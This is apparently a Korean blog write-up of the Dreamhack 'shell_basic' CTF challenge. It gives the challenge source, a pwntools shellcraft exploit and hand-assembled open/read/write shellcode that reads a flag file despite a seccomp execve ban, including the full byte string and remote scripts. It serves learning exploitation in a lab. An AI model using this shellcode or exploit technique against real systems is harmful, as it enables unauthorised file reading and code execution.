솔직히 새싹 난이도는 아닌 것 같다.
64 bit ELF이다.
file shell_basic
shell_basic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4ab0fe8a3aab93855695a905fc3d5e3fb5a233d4, not stripped
shellcode를 이용할 거라서 checksec에 어떤 보호기법이 걸려있는지는 크게 상관없다.
checksec shell_basic
[*] '/root/dreamhack/shell_basic/shell_basic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
shell_basic.c는 다음과 같다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
Linux에서 특정 syscall들을 호출하지 못하게 하는 seccomp(secure computing mode)를 사용했다.
seccomp_rule_add 함수로 execve, execveat를 사용하지 못하게 했기 때문에 해당 함수들을 사용하려고 하면 process가 바로 죽는다. execve, execveat 대신 open, read, write 같은 syscalls들로 해결해야 될 듯하다.
이 문제를 풀 수 있는 방법은 크게 두 가지인 것 같다. 첫 번째 방법은 pwntools의 shellcraft를 이용하는 것이다. 한 줄씩 살펴보자.
from pwn import *
context.arch='amd64'
r=remote('host3.dreamhack.games',10292)
sc=shellcraft.open('/home/shell_basic/flag_name_is_loooooong')
sc+=shellcraft.read('rax','rsp',0x30)
sc+=shellcraft.write(1,'rsp',0x30)
r.sendafter(b': ',asm(sc))
r.interactive()
sc=shellcraft.open('/home/shell_basic/flag_name_is_loooooong')
shellcraft.open 함수는 *nix에서 open syscall의 assembly를 생성한다.
'/home/shell_basic/flag_name_is_loooooong'를 읽은 후에 파일의 fd를 rax에 저장한다.
sc+=shellcraft.read('rax','rsp',0x30)
shellcraft.read 함수는 *nix에서 read syscall의 assembly를 생성한다. open syscall에서 return 한 fd로 48 bytes를 읽고 rsp가 가리키는 주소에 읽은 48 bytes를 저장한다.
sc+=shellcraft.write(1,'rsp',0x30)
shellcraft.write 함수는 *nix에서 write syscall의 assembly를 생성한다. 이전에 읽은 48 bytes를 fd 1 (STDOUT)에 보낸다. 즉 터미널이나 화면에 출력한다.
위에서 나온 shellcode는 다음과 같다. 아직은 machine code가 아닌 assembly이기 때문에 이 상태로는 컴퓨터가 이해할 수 없다.
push 1
dec byte ptr [rsp]
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
/* call read('rax', 'rsp', 0x30) */
mov rdi, rax
xor eax, eax /* SYS_read */
push 0x30
pop rdx
mov rsi, rsp
syscall
/* write(fd=1, buf='rsp', n=0x30) */
push 1
pop rdi
push 0x30
pop rdx
mov rsi, rsp
/* call write() */
push SYS_write /* 1 */
pop rax
syscall
pwntools의 asm 함수는 assembly를 machine code(기계어)로 바꿔주는 함수이다. 위에서 나온 shellcode를 asm 함수에 넣으면 다음과 같다.
b'j\x01\xfe\x0c$H\xb8oooooongPH\xb8ame_is_lPH\xb8c/flag_nPH\xb8ell_basiPH\xb8/home/shPH\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x89\xc71\xc0j0ZH\x89\xe6\x0f\x05j\x01_j0ZH\x89\xe6j\x01X\x0f\x05'
마지막에는 remote로 접속해서 machine code를 보내면 flag가 나온다.
두번째 풀이는 pwntools의 shellcraft를 사용하지 않고 직접 shellcode를 작성하는 것이다.
.global _start
.intel_syntax noprefix
_start:
push 0x0 ; '\0'
mov rax, 0x676e6f6f6f6f6f6f ;oooooong
push rax
mov rax, 0x6c5f73695f656d61 ;ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ;c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ;'ell_basi
push rax
mov rax, 0x68732f656d6f682f ;/home/sh
push rax ; memory 상에 flag 위치시키기
mov rdi, rsp ; fd
xor rsi, rsi ; int flags
xor rdx, rdx ; umode_t mode
mov rax, 0x2 ; open
syscall
mov rdi, rax ; rdi=fd
mov rsi, rsp ; buf
sub rsi, 0x30 ; rsi=rsp-0x30 읽을 데이터를 저장할 주소
mov rdx, 0x30 ; 데이터 길이
mov rax, 0x0 ; read
syscall
mov rdi, 0x1 ; fd=1 STDOUT
mov rax, 0x1 ; write
syscall
나는 다음과 같이 짰다.
push 0x0
String의 끝을 표시하기 위해서 null character를 삽입해야 한다. push 0x0 이 역할을 담당한다.
flag를 8byte씩 끊어서 little endian으로 저장한 후 hex 값으로 메모리에 위치시키는 건데 이게 생각보다 손으로 하기가 좀 불편하다.
In [1]: flag='/home/shell_basic/flag_name_is_loooooong'.encode()
In [2]: chunks=[flag[i:i+8] for i in range(0,len(flag),8)]
In [3]: chunks
Out[3]: [b'/home/sh', b'ell_basi', b'c/flag_n', b'ame_is_l', b'oooooong']
In [4]: chunks[::-1]
Out[4]: [b'oooooong', b'ame_is_l', b'c/flag_n', b'ell_basi', b'/home/sh']
In [5]: values=[]
In [6]: from pwn import *
In [7]: for chunk in chunks[::-1]:
...: values.append(hex(u64(chunk)))
...:
In [8]: values
Out[8]:
['0x676e6f6f6f6f6f6f',
'0x6c5f73695f656d61',
'0x6e5f67616c662f63',
'0x697361625f6c6c65',
'0x68732f656d6f682f']
나는 pwntools, Python으로 8 글자씩 끊어서 뒤집고 해당 값을 hex로 바꾸는 방법으로 flag를 메모리에 올려놓기로 했다.
open, read는 dreamhack에 있는 assembly를 그대로 가져왔다. write syscall만 작성하면 되는데 open, read 보다 훨씬 간단하다.
이제는 assembly file(.s, .asm)을 object code로 바꿔줘야 된다. dreamhack에서는 nasm(Netwide Assembler)으로 object code를 만들었는데 나는 gcc를 좋아해서 gcc를 이용하기로 했다.
참고로 nasm을 이용할 꺼면 assembly 파일의 앞부분이 아래와 같이 시작해야 한다.
section .text
global _start
_start:
gcc를 이용하면 주석을 다 지워야지만 object code를 만들 수 있다. 도대체 왜 그런지는 잘 모르겠다.
gcc -nostdlib -fno-pic -o shellcode.o -c shellcode.s
-c(compile) 옵션은 assembly source를 object 파일로 바꿔준다. linking은 하지 않기 때문에 실행가능한 ELF 파일은 나오지 않는다.
-nostdlib 옵션은 libc의 linking을 하지 않도록 설정한다. 참고로 이 옵션 없이 object 파일을 만들면 에러가 난다.
-fno-PIC 옵션은 PIC(Position Independent Code)를 이용하지 않는 옵션이다.
여기까지 하면 다음과 같은 object(.o) 파일이 나온다.
file shellcode.o
shellcode.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
objcopy --dump-section .text=shellcode.bin shellcode.o
objcopy는 GNU의 Binutils package 중 하나로 (. o,. a,. so, ELF) 등의 파일을 조작하는 데 사용되는 command line tool이다.
주로 object 파일들을 복사하고 수정하는데 사용된다.
objcopy를 이용해서 shellcode.o의 text section만 뽑아서 shellcode.bin이라는 binary 파일에 저장한다.
file shellcode.bin
shellcode.bin: data
xxd(hexdump)로 보면 machine code가 잘 나온 걸 알 수 있다.
xxd shellcode.bin
00000000: 6a00 48b8 6f6f 6f6f 6f6f 6e67 5048 b861 j.H.oooooongPH.a
00000010: 6d65 5f69 735f 6c50 48b8 632f 666c 6167 me_is_lPH.c/flag
00000020: 5f6e 5048 b865 6c6c 5f62 6173 6950 48b8 _nPH.ell_basiPH.
00000030: 2f68 6f6d 652f 7368 5048 89e7 4831 f648 /home/shPH..H1.H
00000040: 31d2 b802 0000 000f 0548 89c7 4889 e648 1........H..H..H
00000050: 83ee 30ba 3000 0000 b800 0000 000f 05bf ..0.0...........
00000060: 0100 0000 b801 0000 000f 05 ...........
우리는 hex 값들만 필요하다.
xxd -p shellcode.bin
6a0048b86f6f6f6f6f6f6e675048b8616d655f69735f6c5048b8632f666c
61675f6e5048b8656c6c5f626173695048b82f686f6d652f7368504889e7
4831f64831d2b8020000000f054889c74889e64883ee30ba30000000b800
0000000f05bf01000000b8010000000f05
문제는 Python에서 machine code를 다루기 위해서는 \x를 이용한다. hex와 bytes를 동시에 표현하기 때문에 유용하다. 즉 앞에서 나온 6 a0048... 를 \x6a\x00\x48 이런 식으로 다 바꿔야 한다. 너무 많이 바꿔야 되어서 손으로 하기는 어려워 보인다.
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
hexdump -v (don't abbreviate) 옵션으로 모든 줄을 표시한다. -e 옵션은 hexdump가 어떻게 string을 format 할지 설정하는 옵션이다. "\\""x"는 backslash를 escape 하고 x는 hex 형식으로 formatting을 해야 한다고 알려준다.
1/1 은 각 byte를 따로 처리하라는 뜻이다. "%02x"는 2자리 hex 값이 아니라면 zero pad 하라는 뜻이다.
위에 command를 실행하면 다음과 같은 shellcode(machine code)가 나온다.
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
추출한 shellcode를 byte-string로 바꿔서 보내면 flag가 나온다. shellcraft로 shellcode를 만들었을 때는 opcode에서 machine code로 바꾸는 과정을 pwntools의 asm 함수를 이용했는데 직접 shellcode를 작성할 때에는 이미 machine code로 우리가 만들었기 때문에 바로 remote에 쏘면 된다.
from pwn import *
context.arch='amd64'
r=remote('host3.dreamhack.games',18330)
sc=b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'
r.send(sc)
r.interactive()
이분 풀이가 도움이 많이 되었다.
'Dreamhack > pwn' 카테고리의 다른 글
basic_exploitation_000 (1) | 2024.11.15 |
---|---|
Return Address Overwrite (0) | 2024.11.15 |
Calling Convention Quiz (0) | 2024.11.15 |
Shellcode Quiz (1) | 2024.11.12 |
Computer Architecture Quiz (0) | 2024.11.11 |